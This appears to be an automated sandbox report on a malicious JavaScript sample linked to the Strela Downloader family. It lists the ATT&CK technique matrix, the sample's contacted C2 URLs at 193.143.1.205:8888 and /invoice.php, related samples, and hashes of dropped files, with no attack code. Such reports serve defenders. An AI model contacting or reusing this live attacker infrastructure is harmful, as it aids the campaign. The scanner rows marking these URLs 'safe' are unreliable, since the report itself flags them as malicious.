Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
315965636547620220.js	5%	Virustotal		Browse
315965636547620220.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/u	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/m	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/a	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2747852450.0000018850200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/u	net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1597345453.000001A6696D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1597345453.000001A669700000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1597345453.000001A6696D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/a	net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/m	net.exe, 00000007.00000002.1597345453.000001A66970D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1594523054.0000018850400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.1597345453.000001A669700000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588159
Start date and time:	2025-01-10 22:02:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	315965636547620220.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 199.232.214.172, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 2.16.100.168, 88.221.110.91, 52.149.20.212, 50.16.47.176, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:03:14	API Interceptor	23x Sleep call for process: powershell.exe modified
16:03:18	API Interceptor	1x Sleep call for process: net.exe modified
16:03:18	API Interceptor	2x Sleep call for process: svchost.exe modified
16:03:27	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2513521629114031259.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.493211389026207
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaV:cJhXC9lHmutpJyiRDeJ/aUKrDgnmb
MD5:	D61D18715DDC73B7C8A347163A5D874F
SHA1:	093D8258C752F7A9AF55779917972F4B1C027D7E
SHA-256:	0DACC8864F8CD66A3D5328164E96EC3554AE2B89AD2B3E8603BBD18E36466C6B
SHA-512:	6A6BA7A4FF5024F3C573647BEE02E69453553FACF51D141B033F8B2E2450A95AB7D8E13B9AC8CD6973DE4C30BBD6949863F72579FA7D9BEFD086E5D441E323D4
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6ebc41c1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216985434236418
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:jazaNvFv8V2UW/DLzN/w4wZi
MD5:	44CD2909F497243F429E555995F7CC2C
SHA1:	12E4A823D2A8E440BEEBFB6B0DBAE57EB580D2C3
SHA-256:	2B2CC7C049687083E767880555A4CE3EC75BDE3AC538945F960EEDB6FE2E313C
SHA-512:	DAF15CBE40C05F0B20E60E1C140DFA2CDAF1BFDE5F794A556DD00AD6ADDCE7901C14DA6087B455043D54B954967127DDB5466F3B02C9C2088FEE56D88D408141
Malicious:	false
Preview:	n.A.... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................Q..k.....}....................$B.....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08115528436616633
Encrypted:	false
SSDEEP:	3:fml6YeBEgTT/fgsCrZClW/tBRp9lt/oll+SHY/Xl+/rQLve:fdzBE8Lfgs3GlltAAS4M
MD5:	497CD076B9713525EEBA24C18A33F6B3
SHA1:	03D316361B2E27B780E6A466946FC83300ADA648
SHA-256:	58B64CC06790D41B00456E08B9EA9CCE984045ECBAB452C4E99E6C6DB45A9652
SHA-512:	80CC194DFD4CCEABE12E4AE156AF991D86E2B49E8F7C92CD7BA63E4779EF6007A77975FDFE054D87F7279B15386362FC42CA73D461396CF5339278A51B3EF072
Malicious:	false
Preview:	4........................................;...{.......}.......{}..............{}......{}.vv_Q.....{}...................$B.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.138279268449837
Encrypted:	false
SSDEEP:	6:iO43Dq2PqLTwi2nKuAl9OmbnIFUtS3iFXZmws3RVVFzkwOqLTwi2nKuAl9OmbjLJ:7Cv8wZHAahFUtlx/CVvz5TwZHAaSJ
MD5:	E234A4949541665E193968CE91A29A2E
SHA1:	589F39DEC39AE6F0523B6602406D99404383B987
SHA-256:	3A4EF0C711698D29EB415DE1EE5DA362726FB5BD853112428B9604E5D9EDC8B0
SHA-512:	8D318205048855B48B880F967D598BC6D0E36634E4BF497CB5162F99EE36F5CD2CFDE0D79C7C3CFA40F1AEAC294B3A1C3235481BF2231AD3DF156F434862E74B
Malicious:	false
Preview:	2025/01/10-16:03:18.610 820 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:03:18.612 820 Recovering log #3.2025/01/10-16:03:18.613 820 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.138279268449837
Encrypted:	false
SSDEEP:	6:iO43Dq2PqLTwi2nKuAl9OmbnIFUtS3iFXZmws3RVVFzkwOqLTwi2nKuAl9OmbjLJ:7Cv8wZHAahFUtlx/CVvz5TwZHAaSJ
MD5:	E234A4949541665E193968CE91A29A2E
SHA1:	589F39DEC39AE6F0523B6602406D99404383B987
SHA-256:	3A4EF0C711698D29EB415DE1EE5DA362726FB5BD853112428B9604E5D9EDC8B0
SHA-512:	8D318205048855B48B880F967D598BC6D0E36634E4BF497CB5162F99EE36F5CD2CFDE0D79C7C3CFA40F1AEAC294B3A1C3235481BF2231AD3DF156F434862E74B
Malicious:	false
Preview:	2025/01/10-16:03:18.610 820 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:03:18.612 820 Recovering log #3.2025/01/10-16:03:18.613 820 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.150539703730702
Encrypted:	false
SSDEEP:	6:iO43W9VN4q2PqLTwi2nKuAl9Ombzo2jMGIFUtS3WQvJZmws3WLDkwOqLTwi2nKuA:7T4v8wZHAa8uFUt6J/ZD5TwZHAa8RJ
MD5:	B034CE901A65FE2004F1B11F4B343017
SHA1:	ED9468782E304BC8EF1F95853AFE7E5C16A00007
SHA-256:	C50FD5FBCB2FD9FE675F8B2088B40AEC89A0981CEF3E7186BFAC75C485AE7BEC
SHA-512:	220C26921C7373E0AFB4AAFB1FFCD98D68BB95D0FC527D2CA87240D83BC5048A20C672C7C9FF8E023B3D2997A5ACBF6AC0FA2F49FC86122948BA04169E743554
Malicious:	false
Preview:	2025/01/10-16:03:18.704 1af0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:03:18.705 1af0 Recovering log #3.2025/01/10-16:03:18.706 1af0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.150539703730702
Encrypted:	false
SSDEEP:	6:iO43W9VN4q2PqLTwi2nKuAl9Ombzo2jMGIFUtS3WQvJZmws3WLDkwOqLTwi2nKuA:7T4v8wZHAa8uFUt6J/ZD5TwZHAa8RJ
MD5:	B034CE901A65FE2004F1B11F4B343017
SHA1:	ED9468782E304BC8EF1F95853AFE7E5C16A00007
SHA-256:	C50FD5FBCB2FD9FE675F8B2088B40AEC89A0981CEF3E7186BFAC75C485AE7BEC
SHA-512:	220C26921C7373E0AFB4AAFB1FFCD98D68BB95D0FC527D2CA87240D83BC5048A20C672C7C9FF8E023B3D2997A5ACBF6AC0FA2F49FC86122948BA04169E743554
Malicious:	false
Preview:	2025/01/10-16:03:18.704 1af0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:03:18.705 1af0 Recovering log #3.2025/01/10-16:03:18.706 1af0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\98307248-ef7d-40cb-b7d5-5bcf5d38d9ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971662989646748
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvhsBdOg2HqAcaq3QYiub5P7E4T3y:Y2sRdsgydMHA3QYhbt7nby
MD5:	701CE4D3BB1DCFE97B886DC6BB966C83
SHA1:	7D67CAF54F0363D42F7430930A22A232E086556E
SHA-256:	080B8116FA605CDADA1A3BF693643780A7F29849C0952678FE9A93FF6D3B0822
SHA-512:	2B9FE2ED070CEFA219574E78F851A7A418272E3CBF389669E80F7D57EAD67571BC1E5E63824DA73A500D66CD038AC7A156F5884F59DE14865C0E6EC9C36B15EC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103010257486","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129098},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971662989646748
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvhsBdOg2HqAcaq3QYiub5P7E4T3y:Y2sRdsgydMHA3QYhbt7nby
MD5:	701CE4D3BB1DCFE97B886DC6BB966C83
SHA1:	7D67CAF54F0363D42F7430930A22A232E086556E
SHA-256:	080B8116FA605CDADA1A3BF693643780A7F29849C0952678FE9A93FF6D3B0822
SHA-512:	2B9FE2ED070CEFA219574E78F851A7A418272E3CBF389669E80F7D57EAD67571BC1E5E63824DA73A500D66CD038AC7A156F5884F59DE14865C0E6EC9C36B15EC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103010257486","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129098},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.223140539298793
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzSlOY7NjMDb:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzSE
MD5:	645B080299BB7D39F13E13E4EF5AF5F3
SHA1:	C2F46CED0BCDCA70675B952F8B7AD77A0D90F1BE
SHA-256:	5C48E8373540C647D619CA5331B08941EDF8B0F1EBA24EC832CA4299E43035B1
SHA-512:	B5AB0F44F08EFBDDD1870A20574197E2EAEA822777824380662266B157231D09EA6138260BB4A37F442851854A8BFD428066207C5254A326ED7CE2C1B1C6F366
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.158435472128304
Encrypted:	false
SSDEEP:	6:iO43XN4q2PqLTwi2nKuAl9OmbzNMxIFUtS3t+v3JZmws3tdDkwOqLTwi2nKuAl9c:7C4v8wZHAa8jFUt6+3J/0dD5TwZHAa8E
MD5:	3CE552A111DF8A9E9B19FA9E08F3E8EA
SHA1:	FDCAA0DC1F5723F0026709EF12AF3804DF9660C4
SHA-256:	9CB993F0557039EFEC6AF9797B9D915246B066BC9811BC16093E511DD6549CE2
SHA-512:	ED53EF515BA5EF29FCF9783B1CEAE44D8A62D4C18C92B566102CF1EE30F6165C920F200469AE16F9BA1E7AF20263136D15E6221556494C796C71EBA742D23E79
Malicious:	false
Preview:	2025/01/10-16:03:19.496 1af0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:03:19.541 1af0 Recovering log #3.2025/01/10-16:03:19.542 1af0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.158435472128304
Encrypted:	false
SSDEEP:	6:iO43XN4q2PqLTwi2nKuAl9OmbzNMxIFUtS3t+v3JZmws3tdDkwOqLTwi2nKuAl9c:7C4v8wZHAa8jFUt6+3J/0dD5TwZHAa8E
MD5:	3CE552A111DF8A9E9B19FA9E08F3E8EA
SHA1:	FDCAA0DC1F5723F0026709EF12AF3804DF9660C4
SHA-256:	9CB993F0557039EFEC6AF9797B9D915246B066BC9811BC16093E511DD6549CE2
SHA-512:	ED53EF515BA5EF29FCF9783B1CEAE44D8A62D4C18C92B566102CF1EE30F6165C920F200469AE16F9BA1E7AF20263136D15E6221556494C796C71EBA742D23E79
Malicious:	false
Preview:	2025/01/10-16:03:19.496 1af0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:03:19.541 1af0 Recovering log #3.2025/01/10-16:03:19.542 1af0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438192543656303
Encrypted:	false
SSDEEP:	384:ye+ci5GdiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pxurVgazUpUTTGt
MD5:	F9C4EB76AD639A28E7670ADD2F05DE47
SHA1:	AD58D4020827EEFEEF09977A5049034DF326B605
SHA-256:	9116B36C82765A76D5D976600ABDA7730795E797CDC2BD0AE2D159B39F458CDF
SHA-512:	68608B07B55861714B0AD148577132E06A4D79710DE85742D9EE67B5AC07C631B6C7BEB78971DC0C1EECA1526AB795160FB450B2856EE1B10EF73E0019723161
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7673549533436095
Encrypted:	false
SSDEEP:	48:7MmJioyVtioytoy1C7oy16oy1TKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OT:75JutbKXjBicb9IVXEBodRBkd
MD5:	F5EBFF328481E753CB45A144AEC3FBCE
SHA1:	5C10A78EB25C4DFA6FB733259FF508F1873DD09D
SHA-256:	4BB462FD85FC151F7A6A0E8E964561DF899DD1C157CE55C0A32D97B9D09D71D8
SHA-512:	92F0D2413718F753DC09CFBD675BF57340CD1028EFA3094F6AB52FD69AE5A95AC70A8AF2649E09AE5F7975113D48150BA7BC5DAECF82400B85025E6EDD7323BF
Malicious:	false
Preview:	.... .c......(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
